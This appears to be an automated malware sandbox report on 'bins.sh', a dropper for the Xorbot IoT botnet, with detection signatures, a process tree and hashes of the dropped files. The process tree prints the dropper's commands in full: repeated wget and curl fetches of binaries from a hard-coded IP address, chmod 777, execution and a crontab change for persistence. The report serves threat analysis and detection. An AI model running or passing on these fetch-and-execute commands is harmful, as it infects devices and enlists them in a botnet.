Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240729-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    10/01/2025, 21:32

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250110-1dlets1kfq
  • SHA256 793fdf88299487cd699404bd5dac67dfff670524cfea68454e2f3ccc0ad2e400
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 8 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (566) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 11 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 11 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 31 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:710
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:713
        • /usr/bin/wget
          wget http://66.63.187.225/bins/Mf3IetC0ukaNiashNPSpjcpK65boRZSDvI
          2⤵
          • Writes file to tmp directory
          PID:715
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/Mf3IetC0ukaNiashNPSpjcpK65boRZSDvI
          2⤵
          • Writes file to tmp directory
          PID:739
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/Mf3IetC0ukaNiashNPSpjcpK65boRZSDvI
          2⤵
          • Writes file to tmp directory
          PID:741
        • /bin/chmod
          chmod 777 Mf3IetC0ukaNiashNPSpjcpK65boRZSDvI
          2⤵
          • File and Directory Permissions Modification
          PID:742
        • /tmp/Mf3IetC0ukaNiashNPSpjcpK65boRZSDvI
          ./Mf3IetC0ukaNiashNPSpjcpK65boRZSDvI
          2⤵
          • Executes dropped EXE
          PID:743
        • /bin/rm
          rm Mf3IetC0ukaNiashNPSpjcpK65boRZSDvI
          2⤵
            PID:745
          • /usr/bin/wget
            wget http://66.63.187.225/bins/Z5UKtfI4K8YeZfABB9xBqyKSKPi0JsSSlt
            2⤵
            • Writes file to tmp directory
            PID:746
          • /usr/bin/curl
            curl -O http://66.63.187.225/bins/Z5UKtfI4K8YeZfABB9xBqyKSKPi0JsSSlt
            2⤵
            • Writes file to tmp directory
            PID:747
          • /bin/busybox
            /bin/busybox wget http://66.63.187.225/bins/Z5UKtfI4K8YeZfABB9xBqyKSKPi0JsSSlt
            2⤵
            • Writes file to tmp directory
            PID:748
          • /bin/chmod
            chmod 777 Z5UKtfI4K8YeZfABB9xBqyKSKPi0JsSSlt
            2⤵
            • File and Directory Permissions Modification
            PID:753
          • /tmp/Z5UKtfI4K8YeZfABB9xBqyKSKPi0JsSSlt
            ./Z5UKtfI4K8YeZfABB9xBqyKSKPi0JsSSlt
            2⤵
            • Executes dropped EXE
            PID:754
          • /bin/rm
            rm Z5UKtfI4K8YeZfABB9xBqyKSKPi0JsSSlt
            2⤵
              PID:757
            • /usr/bin/wget
              wget http://66.63.187.225/bins/ZWuR9VwpxCFH9ITNcA1I1q36oQ2hMpvRAz
              2⤵
              • Writes file to tmp directory
              PID:759
            • /usr/bin/curl
              curl -O http://66.63.187.225/bins/ZWuR9VwpxCFH9ITNcA1I1q36oQ2hMpvRAz
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:768
            • /bin/busybox
              /bin/busybox wget http://66.63.187.225/bins/ZWuR9VwpxCFH9ITNcA1I1q36oQ2hMpvRAz
              2⤵
              • Writes file to tmp directory
              PID:800
            • /bin/chmod
              chmod 777 ZWuR9VwpxCFH9ITNcA1I1q36oQ2hMpvRAz
              2⤵
              • File and Directory Permissions Modification
              PID:809
            • /tmp/ZWuR9VwpxCFH9ITNcA1I1q36oQ2hMpvRAz
              ./ZWuR9VwpxCFH9ITNcA1I1q36oQ2hMpvRAz
              2⤵
              • Executes dropped EXE
              PID:810
            • /bin/rm
              rm ZWuR9VwpxCFH9ITNcA1I1q36oQ2hMpvRAz
              2⤵
                PID:814
              • /usr/bin/wget
                wget http://66.63.187.225/bins/HIekusuxUYqwNyoDqBzZS4O4fM0xlfzN0Z
                2⤵
                • Writes file to tmp directory
                PID:815
              • /usr/bin/curl
                curl -O http://66.63.187.225/bins/HIekusuxUYqwNyoDqBzZS4O4fM0xlfzN0Z
                2⤵
                • Writes file to tmp directory
                PID:836
              • /bin/busybox
                /bin/busybox wget http://66.63.187.225/bins/HIekusuxUYqwNyoDqBzZS4O4fM0xlfzN0Z
                2⤵
                • Writes file to tmp directory
                PID:837
              • /bin/chmod
                chmod 777 HIekusuxUYqwNyoDqBzZS4O4fM0xlfzN0Z
                2⤵
                • File and Directory Permissions Modification
                PID:838
              • /tmp/HIekusuxUYqwNyoDqBzZS4O4fM0xlfzN0Z
                ./HIekusuxUYqwNyoDqBzZS4O4fM0xlfzN0Z
                2⤵
                • Executes dropped EXE
                PID:839
              • /bin/rm
                rm HIekusuxUYqwNyoDqBzZS4O4fM0xlfzN0Z
                2⤵
                  PID:841
                • /usr/bin/wget
                  wget http://66.63.187.225/bins/oiZ6ouLLo0Quktyb3Auul3MYgb3BsYeQn4
                  2⤵
                  • Writes file to tmp directory
                  PID:842
                • /usr/bin/curl
                  curl -O http://66.63.187.225/bins/oiZ6ouLLo0Quktyb3Auul3MYgb3BsYeQn4
                  2⤵
                  • Writes file to tmp directory
                  PID:846
                • /bin/busybox
                  /bin/busybox wget http://66.63.187.225/bins/oiZ6ouLLo0Quktyb3Auul3MYgb3BsYeQn4
                  2⤵
                  • Writes file to tmp directory
                  PID:847
                • /bin/chmod
                  chmod 777 oiZ6ouLLo0Quktyb3Auul3MYgb3BsYeQn4
                  2⤵
                  • File and Directory Permissions Modification
                  PID:848
                • /tmp/oiZ6ouLLo0Quktyb3Auul3MYgb3BsYeQn4
                  ./oiZ6ouLLo0Quktyb3Auul3MYgb3BsYeQn4
                  2⤵
                  • Executes dropped EXE
                  PID:849
                • /bin/rm
                  rm oiZ6ouLLo0Quktyb3Auul3MYgb3BsYeQn4
                  2⤵
                    PID:851
                  • /usr/bin/wget
                    wget http://66.63.187.225/bins/pA5Z5Mh8gLBQ9fojHJGS05A6LSVpfeqCQ9
                    2⤵
                    • Writes file to tmp directory
                    PID:852
                  • /usr/bin/curl
                    curl -O http://66.63.187.225/bins/pA5Z5Mh8gLBQ9fojHJGS05A6LSVpfeqCQ9
                    2⤵
                    • Writes file to tmp directory
                    PID:853
                  • /bin/busybox
                    /bin/busybox wget http://66.63.187.225/bins/pA5Z5Mh8gLBQ9fojHJGS05A6LSVpfeqCQ9
                    2⤵
                    • Writes file to tmp directory
                    PID:854
                  • /bin/chmod
                    chmod 777 pA5Z5Mh8gLBQ9fojHJGS05A6LSVpfeqCQ9
                    2⤵
                    • File and Directory Permissions Modification
                    PID:855
                  • /tmp/pA5Z5Mh8gLBQ9fojHJGS05A6LSVpfeqCQ9
                    ./pA5Z5Mh8gLBQ9fojHJGS05A6LSVpfeqCQ9
                    2⤵
                    • Executes dropped EXE
                    PID:856
                  • /bin/rm
                    rm pA5Z5Mh8gLBQ9fojHJGS05A6LSVpfeqCQ9
                    2⤵
                      PID:858
                    • /usr/bin/wget
                      wget http://66.63.187.225/bins/4HxlKPxDdJxpa405FcQ5BJr1CVyuc0Fdu8
                      2⤵
                      • Writes file to tmp directory
                      PID:859
                    • /usr/bin/curl
                      curl -O http://66.63.187.225/bins/4HxlKPxDdJxpa405FcQ5BJr1CVyuc0Fdu8
                      2⤵
                      • Writes file to tmp directory
                      PID:860
                    • /bin/busybox
                      /bin/busybox wget http://66.63.187.225/bins/4HxlKPxDdJxpa405FcQ5BJr1CVyuc0Fdu8
                      2⤵
                      • Writes file to tmp directory
                      PID:861
                    • /bin/chmod
                      chmod 777 4HxlKPxDdJxpa405FcQ5BJr1CVyuc0Fdu8
                      2⤵
                      • File and Directory Permissions Modification
                      PID:862
                    • /tmp/4HxlKPxDdJxpa405FcQ5BJr1CVyuc0Fdu8
                      ./4HxlKPxDdJxpa405FcQ5BJr1CVyuc0Fdu8
                      2⤵
                      • Executes dropped EXE
                      PID:863
                    • /bin/rm
                      rm 4HxlKPxDdJxpa405FcQ5BJr1CVyuc0Fdu8
                      2⤵
                        PID:865
                      • /usr/bin/wget
                        wget http://66.63.187.225/bins/FrOb0Nk33smX7yDw26vIkZRltIO1OeCVTA
                        2⤵
                        • Writes file to tmp directory
                        PID:866
                      • /usr/bin/curl
                        curl -O http://66.63.187.225/bins/FrOb0Nk33smX7yDw26vIkZRltIO1OeCVTA
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:867
                      • /bin/busybox
                        /bin/busybox wget http://66.63.187.225/bins/FrOb0Nk33smX7yDw26vIkZRltIO1OeCVTA
                        2⤵
                        • Writes file to tmp directory
                        PID:868
                      • /bin/chmod
                        chmod 777 FrOb0Nk33smX7yDw26vIkZRltIO1OeCVTA
                        2⤵
                        • File and Directory Permissions Modification
                        PID:869
                      • /tmp/FrOb0Nk33smX7yDw26vIkZRltIO1OeCVTA
                        ./FrOb0Nk33smX7yDw26vIkZRltIO1OeCVTA
                        2⤵
                        • Executes dropped EXE
                        PID:870
                      • /bin/rm
                        rm FrOb0Nk33smX7yDw26vIkZRltIO1OeCVTA
                        2⤵
                          PID:872
                        • /usr/bin/wget
                          wget http://66.63.187.225/bins/79XCuNJvyWPJ35SGj30FqMwmLChoqkkSkA
                          2⤵
                          • Writes file to tmp directory
                          PID:873
                        • /usr/bin/curl
                          curl -O http://66.63.187.225/bins/79XCuNJvyWPJ35SGj30FqMwmLChoqkkSkA
                          2⤵
                          • Writes file to tmp directory
                          PID:874
                        • /bin/busybox
                          /bin/busybox wget http://66.63.187.225/bins/79XCuNJvyWPJ35SGj30FqMwmLChoqkkSkA
                          2⤵
                          • Writes file to tmp directory
                          PID:875
                        • /bin/chmod
                          chmod 777 79XCuNJvyWPJ35SGj30FqMwmLChoqkkSkA
                          2⤵
                          • File and Directory Permissions Modification
                          PID:876
                        • /tmp/79XCuNJvyWPJ35SGj30FqMwmLChoqkkSkA
                          ./79XCuNJvyWPJ35SGj30FqMwmLChoqkkSkA
                          2⤵
                          • Executes dropped EXE
                          PID:877
                        • /bin/rm
                          rm 79XCuNJvyWPJ35SGj30FqMwmLChoqkkSkA
                          2⤵
                            PID:879
                          • /usr/bin/wget
                            wget http://66.63.187.225/bins/Dd79hKsBZrTzf4Kb9A37TV1vtGGTsKVpyH
                            2⤵
                            • Writes file to tmp directory
                            PID:880
                          • /usr/bin/curl
                            curl -O http://66.63.187.225/bins/Dd79hKsBZrTzf4Kb9A37TV1vtGGTsKVpyH
                            2⤵
                            • Writes file to tmp directory
                            PID:881
                          • /bin/busybox
                            /bin/busybox wget http://66.63.187.225/bins/Dd79hKsBZrTzf4Kb9A37TV1vtGGTsKVpyH
                            2⤵
                            • Writes file to tmp directory
                            PID:882
                          • /bin/chmod
                            chmod 777 Dd79hKsBZrTzf4Kb9A37TV1vtGGTsKVpyH
                            2⤵
                            • File and Directory Permissions Modification
                            PID:883
                          • /tmp/Dd79hKsBZrTzf4Kb9A37TV1vtGGTsKVpyH
                            ./Dd79hKsBZrTzf4Kb9A37TV1vtGGTsKVpyH
                            2⤵
                            • Executes dropped EXE
                            • Renames itself
                            • Reads runtime system information
                            PID:884
                            • /bin/sh
                              sh -c "crontab -l"
                              3⤵
                                PID:886
                                • /usr/bin/crontab
                                  crontab -l
                                  4⤵
                                  • Reads runtime system information
                                  PID:887
                              • /bin/sh
                                sh -c "crontab -"
                                3⤵
                                  PID:888
                                  • /usr/bin/crontab
                                    crontab -
                                    4⤵
                                    • Creates/modifies Cron job
                                    PID:889
                              • /bin/rm
                                rm Dd79hKsBZrTzf4Kb9A37TV1vtGGTsKVpyH
                                2⤵
                                  PID:891
                                • /usr/bin/wget
                                  wget http://66.63.187.225/bins/kCFy4IgX7H4zCU9oMSktvfQZ1Vv43RWPP3
                                  2⤵
                                    PID:894
                                  • /usr/bin/curl
                                    curl -O http://66.63.187.225/bins/kCFy4IgX7H4zCU9oMSktvfQZ1Vv43RWPP3
                                    2⤵
                                      PID:895
                                    • /bin/busybox
                                      /bin/busybox wget http://66.63.187.225/bins/kCFy4IgX7H4zCU9oMSktvfQZ1Vv43RWPP3
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:970
                                    • /bin/chmod
                                      chmod 777 kCFy4IgX7H4zCU9oMSktvfQZ1Vv43RWPP3
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:977
                                    • /tmp/kCFy4IgX7H4zCU9oMSktvfQZ1Vv43RWPP3
                                      ./kCFy4IgX7H4zCU9oMSktvfQZ1Vv43RWPP3
                                      2⤵
                                      • Executes dropped EXE
                                      PID:978
                                    • /bin/rm
                                      rm kCFy4IgX7H4zCU9oMSktvfQZ1Vv43RWPP3
                                      2⤵
                                        PID:980
                                      • /usr/bin/wget
                                        wget http://66.63.187.225/bins/x0y4r8wJ1xknc5MOIvfrzUXs2v0DTNdCFu
                                        2⤵
                                          PID:981

                                      Network

                                            MITRE ATT&CK Enterprise v15

                                            Replay Monitor

                                            Loading Replay Monitor...

                                            Downloads

                                            4HxlKPxDdJxpa405FcQ5BJr1CVyuc0Fdu8

                                            • Path /tmp/4HxlKPxDdJxpa405FcQ5BJr1CVyuc0Fdu8
                                            • Size 151KB
                                            • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                            • MD5 SHA1 SHA512 SSDEEP

                                            79XCuNJvyWPJ35SGj30FqMwmLChoqkkSkA

                                            • Path /tmp/79XCuNJvyWPJ35SGj30FqMwmLChoqkkSkA
                                            • Size 119KB
                                            • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                            • MD5 SHA1 SHA512 SSDEEP

                                            Dd79hKsBZrTzf4Kb9A37TV1vtGGTsKVpyH

                                            • Path /tmp/Dd79hKsBZrTzf4Kb9A37TV1vtGGTsKVpyH
                                            • Size 151KB
                                            • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                            • MD5 SHA1 SHA512 SSDEEP

                                            FrOb0Nk33smX7yDw26vIkZRltIO1OeCVTA

                                            • Path /tmp/FrOb0Nk33smX7yDw26vIkZRltIO1OeCVTA
                                            • Size 122KB
                                            • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                            • MD5 SHA1 SHA512 SSDEEP

                                            HIekusuxUYqwNyoDqBzZS4O4fM0xlfzN0Z

                                            • Path /tmp/HIekusuxUYqwNyoDqBzZS4O4fM0xlfzN0Z
                                            • Size 99KB
                                            • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                            • MD5 SHA1 SHA512 SSDEEP

                                            Mf3IetC0ukaNiashNPSpjcpK65boRZSDvI

                                            • Path /tmp/Mf3IetC0ukaNiashNPSpjcpK65boRZSDvI
                                            • Size 112KB
                                            • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                            • MD5 SHA1 SHA512 SSDEEP

                                            Z5UKtfI4K8YeZfABB9xBqyKSKPi0JsSSlt

                                            • Path /tmp/Z5UKtfI4K8YeZfABB9xBqyKSKPi0JsSSlt
                                            • Size 177KB
                                            • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                            • MD5 SHA1 SHA512 SSDEEP

                                            ZWuR9VwpxCFH9ITNcA1I1q36oQ2hMpvRAz

                                            • Path /tmp/ZWuR9VwpxCFH9ITNcA1I1q36oQ2hMpvRAz
                                            • Size 111KB
                                            • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                            • MD5 SHA1 SHA512 SSDEEP

                                            kCFy4IgX7H4zCU9oMSktvfQZ1Vv43RWPP3

                                            • Path /tmp/kCFy4IgX7H4zCU9oMSktvfQZ1Vv43RWPP3
                                            • Size 111KB
                                            • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                            • MD5 SHA1 SHA512 SSDEEP

                                            oiZ6ouLLo0Quktyb3Auul3MYgb3BsYeQn4

                                            • Path /tmp/oiZ6ouLLo0Quktyb3Auul3MYgb3BsYeQn4
                                            • Size 127KB
                                            • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                            • MD5 SHA1 SHA512 SSDEEP

                                            pA5Z5Mh8gLBQ9fojHJGS05A6LSVpfeqCQ9

                                            • Path /tmp/pA5Z5Mh8gLBQ9fojHJGS05A6LSVpfeqCQ9
                                            • Size 107KB
                                            • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                            • MD5 SHA1 SHA512 SSDEEP

                                            tmp.EIcKCE

                                            • Path /var/spool/cron/crontabs/tmp.EIcKCE
                                            • Size 210B
                                            • SHA256 ae9b04fec20b056e90976314b92442955bd69440f5e838fa899d875152c83dc5
                                            • MD5 SHA1 SHA512